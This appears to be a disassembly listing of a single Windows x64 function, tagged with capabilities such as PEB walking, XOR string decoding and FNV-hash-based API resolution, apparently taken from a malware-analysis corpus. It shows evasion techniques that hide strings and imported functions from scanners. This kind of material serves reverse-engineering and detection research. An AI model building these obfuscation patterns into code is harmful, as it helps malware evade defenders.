Function at 0x140004340
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x2150]
mov eax, 0x2250
call fcn.14007bd60
sub rsp, rax
movaps xmmword [rsp + 0x2240], xmm6
movaps xmmword [rsp + 0x2230], xmm7
mov rax, qword [0x14009b0c0]
xor rax, rsp
mov qword [rbp + 0x2120], rax
xor esi, esi
call fcn.1400036b0
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rbp - 0x40], rax
call fcn.140003ef0
xor ecx, ecx
call fcn.140003f60
mov ecx, dword [str.uXJPOV_]
mov dword [rbp + 0x15d8], ecx
movzx ecx, word [0x14008e8b8]
mov word [rbp + 0x15dc], cx
movzx ecx, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x15de], cl
movsd xmm0, qword [0x14008d790]
movsd qword [rbp + 0x15e0], xmm0
movzx eax, word [0x14008d798]
mov word [rbp + 0x15e8], ax
movzx eax, byte [0x14008d79a]
mov byte [rbp + 0x15ea], al
movups xmm0, xmmword [str.TU_b_r_f]
movups xmmword [rbp + 0x16e0], xmm0
movups xmm1, xmmword [0x14008e7e0]
movups xmmword [rbp + 0x16f0], xmm1
movups xmm0, xmmword [0x14008e7f0]
movups xmmword [rbp + 0x1700], xmm0
movups xmm1, xmmword [0x14008e800]
movups xmmword [rbp + 0x1710], xmm1
movzx eax, byte [0x14008e810]
mov byte [rbp + 0x1720], al
mov eax, dword [0x14008d44c]
mov dword [rbp + 0x15d0], eax
movups xmm0, xmmword [0x14008e668]
movups xmmword [rbp + 0x1698], xmm0
movsd xmm0, qword [0x14008e678]
movsd qword [rbp + 0x16a8], xmm0
mov eax, dword [0x14008e680]
mov dword [rbp + 0x16b0], eax
movzx ebx, byte [0x14008e684]
mov byte [rbp + 0x16b4], bl
xor edx, edx
mov r8d, 0x278
lea rcx, [rbp + 0x1ea0]
call sub.VCRUNTIME140.dll_memset
lea rax, [rbp + 0x3d8]
mov qword [rbp - 0x38], rax
mov r14d, dword [reloc.WS2_32.dll_accept]
test bl, bl
je 0x140004640
mov r8d, esi
cmp r14d, 2
jl 0x1400045f6
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x169c]
mov edx, dword [rsp + 0x40]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400044f1
cmp r8d, 0x1d
jge 0x140004640
movsxd rax, r8d
lea r9, [rbp + 0x1698]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1d
jl 0x140004610
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x3d8]
call fcn.140016c00
nop
lea rax, [rbp + 0x1698]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140004660
lea rdx, [rbp + 0x1698]
lea rcx, [rbp + 0x3d8]
call fcn.140016c20
nop
lea rax, [rbp + 0x3f8]
mov qword [rbp - 0x30], rax
cmp byte [rbp + 0x15d3], 0
je 0x140004760
cmp r14d, 2
jl 0x140004724
movdqa xmm3, xmmword [0x14008e970]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14008e9d0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14008e9d0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14008e990]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14008e9c0]
movd xmm0, dword [rbp + 0x15d0]
xorps xmm2, xmm0
movd dword [rbp + 0x15d0], xmm2
jmp 0x140004760
lea r9, [rbp + 0x15d0]
mov r8d, esi
nop
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140004730
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x3f8]
call fcn.140016c00
nop
lea rax, [rbp + 0x15d0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140004780
lea rdx, [rbp + 0x15d0]
lea rcx, [rbp + 0x3f8]
call fcn.140016c20
nop
lea rax, [rbp + 0x418]
mov qword [rsp + 0x50], rax
cmp byte [rbp + 0x1720], 0
je 0x140004950
mov r8d, esi
cmp r14d, 2
jl 0x140004905
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x16e4]
mov edx, dword [rsp + 0x40]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x40
jl 0x140004800
cmp r8d, 0x41
jge 0x140004950
movsxd rax, r8d
lea r9, [rbp + 0x16e0]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x41
jl 0x140004920
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x418]
call fcn.140016c00
nop
lea rax, [rbp + 0x16e0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140004970
lea rdx, [rbp + 0x16e0]
lea rcx, [rbp + 0x418]
call fcn.140016c20
nop
lea rax, [rbp + 0x438]
mov qword [rsp + 0x40], rax
movzx eax, byte [rbp + 0x15ea]
test al, al
je 0x1400049f3
xor byte [rbp + 0x15e0], 0x36
xor byte [rbp + 0x15e1], 0x37
xor byte [rbp + 0x15e2], 0x38
xor byte [rbp + 0x15e3], 0x39
xor byte [rbp + 0x15e4], 0x3a
xor byte [rbp + 0x15e5], 0x3b
xor byte [rbp + 0x15e6], 0x3c
xor byte [rbp + 0x15e7], 0x3d
xor byte [rbp + 0x15e8], 0x3e
xor byte [rbp + 0x15e9], 0x3f
xor al, 0x40
mov byte [rbp + 0x15ea], al
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x438]
call fcn.140016c00
nop
lea rax, [rbp + 0x15e0]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x140004a13
lea rdx, [rbp + 0x15e0]
lea rcx, [rbp + 0x438]
call fcn.140016c20
nop
lea rax, [rbp + 0x458]
mov qword [rsp + 0x38], rax
movzx eax, byte [rbp + 0x15de]
test al, al
je 0x140004a7a
xor byte [rbp + 0x15d8], 0x36
xor byte [rbp + 0x15d9], 0x37
xor byte [rbp + 0x15da], 0x38
xor byte [rbp + 0x15db], 0x39
xor byte [rbp + 0x15dc], 0x3a
xor byte [rbp + 0x15dd], 0x3b
xor al, 0x3c
mov byte [rbp + 0x15de], al
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x458]
call fcn.140016c00
nop
lea rax, [rbp + 0x15d8]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140004aa0
lea rdx, [rbp + 0x15d8]
lea rcx, [rbp + 0x458]
call fcn.140016c20
nop
lea rax, [rbp + 0x3d8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x3f8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x418]
lea r8, [rbp + 0x438]
lea rdx, [rbp + 0x458]
lea rcx, [rbp + 0x1ea0]
call fcn.140001480
nop
mov dword [rbp + 0x15d8], 0
mov word [rbp + 0x15dc], 0
mov byte [rbp + 0x15de], 0
mov qword [rbp + 0x15e0], 0
mov word [rbp + 0x15e8], 0
mov byte [rbp + 0x15ea], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x16e0], xmm0
movups xmmword [rbp + 0x16f0], xmm0
movups xmmword [rbp + 0x1700], xmm0
movups xmmword [rbp + 0x1710], xmm0
mov byte [rbp + 0x1720], al
mov dword [rbp + 0x15d0], eax
movups xmmword [rbp + 0x1698], xmm0
mov qword [rbp + 0x16a8], rax
mov dword [rbp + 0x16b0], eax
mov byte [rbp + 0x16b4], al
movsd xmm0, qword [str.eXTLNRSS_]
movsd qword [rbp - 0x10], xmm0
movzx eax, byte [0x14008e310]
mov byte [rbp - 0x10], 0x53
xor byte [rbp - 0xf], 0x37
xor byte [rbp - 0xe], 0x38
xor byte [rbp - 0xd], 0x39
xor byte [rbp - 0xc], 0x3a
xor byte [rbp - 0xb], 0x3b
xor byte [rbp - 0xa], 0x3c
xor byte [rbp - 9], 0x3d
xor al, 0x3e
mov byte [rbp - 8], al
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140004c36
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140004c36
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x6bb0deb7
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004c31
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004c10
cmp r8d, 0x8735c1ff
je 0x140004c3b
test r9d, r9d
jne 0x140004bf0
mov rax, qword [rax]
jmp 0x140004bc0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp - 0x10]
call rdx
mov rax, qword [str.UXTVHeYb]
mov qword [rbp - 0x28], rax
cmp byte [0x14008e5af], 0
je 0x140004db0
cmp r14d, 2
jl 0x140004d72
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm2, xmmword [0x14008e970]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008e990]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
mov eax, dword [0x14008e9c0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x28]
xorps xmm2, xmm1
movd dword [rbp - 0x28], xmm2
movdqa xmm3, xmmword [0x14008e980]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14008e990]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp - 0x24]
xorps xmm2, xmm1
movd dword [rbp - 0x24], xmm2
jmp 0x140004db0
lea r9, [rbp - 0x28]
mov r8d, esi
nop dword [rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x140004d80
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140004e46
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140004e46
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x5aaa082f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140004e41
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140004e20
cmp r8d, 0x9541e8e
je 0x140004e4b
test r9d, r9d
jne 0x140004e00
mov rax, qword [rax]
jmp 0x140004dd0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp - 0x28]
call rdx
movups xmm0, xmmword [0x14008e2e0]
movups xmmword [rbp + 0x838], xmm0
movups xmm1, xmmword [0x14008e2f0]
movups xmmword [rbp + 0x848], xmm1
movzx eax, word [0x14008e300]
mov word [rbp + 0x858], ax
movzx eax, byte [0x14008e302]
mov byte [rbp + 0x85a], al
mov r8d, esi
cmp r14d, 2
jl 0x140004fe5
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x83c]
mov edx, dword [rsp + 0x40]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140004ee0
cmp r8d, 0x23
jge 0x140005030
movsxd rax, r8d
lea r9, [rbp + 0x838]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x140005000
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400050c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400050c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x5dac4b7f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400050c1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400050a0
cmp r8d, 0x6919a560
je 0x1400050cb
test r9d, r9d
jne 0x140005080
mov rax, qword [rax]
jmp 0x140005050
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x838]
call rdx
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x16b8]
call fcn.140016c00
lea rcx, [rbp + 0x16b8]
call fcn.1400163e0
nop
lea rdx, [rbp + 0x16b8]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.1400166d0
lea rcx, [rbp + 0x1ea0]
call fcn.140023f80
lea rdx, [rbp + 0x16b8]
lea rcx, [rbp + 0x498]
call fcn.140015e30
mov rdx, rax
lea rcx, [rbp + 0x1ea0]
call fcn.140025b60
cmp byte [rbp + 0x20b0], 0
jne 0x1400055fe
mov eax, dword [0x14008d574]
mov dword [rsp + 0x58], eax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x140005230
cmp r14d, 2
jl 0x1400051f2
movdqa xmm3, xmmword [0x14008e970]
movdqa xmm2, xmm3
punpckldq xmm2, xmm3
pmuldq xmm2, xmmword [0x14008e9d0]
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmmword [0x14008e9d0]
shufps xmm2, xmm0, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmmword [0x14008e990]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x14008e9c0]
movd xmm0, eax
xorps xmm2, xmm0
movd dword [rsp + 0x58], xmm2
jmp 0x140005230
lea r9, [rsp + 0x58]
mov r8d, esi
nop word [rax + rax]
mov eax, 0x4d4873ed
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x140005200
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400052c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400052c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xb657860f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400052c1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400052a0
cmp r8d, 0x2716366e
je 0x1400052cb
test r9d, r9d
jne 0x140005280
mov rax, qword [rax]
jmp 0x140005250
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rsp + 0x58]
call rdx
movups xmm0, xmmword [0x14008dc98]
movups xmmword [rbp + 0x860], xmm0
movups xmm1, xmmword [0x14008dca8]
movups xmmword [rbp + 0x870], xmm1
movzx eax, word [0x14008dcb8]
mov word [rbp + 0x880], ax
movzx eax, byte [0x14008dcba]
mov byte [rbp + 0x882], al
cmp r14d, 2
jl 0x140005460
movdqa xmm5, xmmword [0x14008e970]
movdqa xmm4, xmmword [0x14008e9d0]
movdqa xmm6, xmmword [0x14008e990]
movdqa xmm0, xmmword [0x14008e9c0]
movdqa xmmword [rsp + 0x40], xmm0
lea rcx, [rbp + 0x864]
mov edx, dword [rsp + 0x40]
nop dword [rax + rax]
movd xmm2, esi
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rsi + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14008e9b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add esi, 8
lea rcx, [rcx + 8]
cmp esi, 0x20
jl 0x140005360
cmp esi, 0x23
jge 0x14000549d
movsxd rax, esi
lea r8, [rbp + 0x860]
add r8, rax
nop dword [rax]
mov eax, 0x4d4873ed
imul esi
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
movzx eax, sil
sub al, cl
add al, 0x36
xor byte [r8], al
inc esi
lea r8, [r8 + 1]
cmp esi, 0x23
jl 0x140005470
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140005526
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140005526
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xc159d5f7
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140005521
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140005500
cmp r8d, 0x2d78ea18
je 0x14000552b
test r9d, r9d
jne 0x1400054e0
mov rax, qword [rax]
jmp 0x1400054b0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x860]
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400055d6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400055d6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0xb052ff6f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400055d1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400055b0
cmp r8d, 0x5b8ee3b2
je 0x1400055db
test r9d, r9d
jne 0x140005590
mov rax, qword [rax]
jmp 0x140005560
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
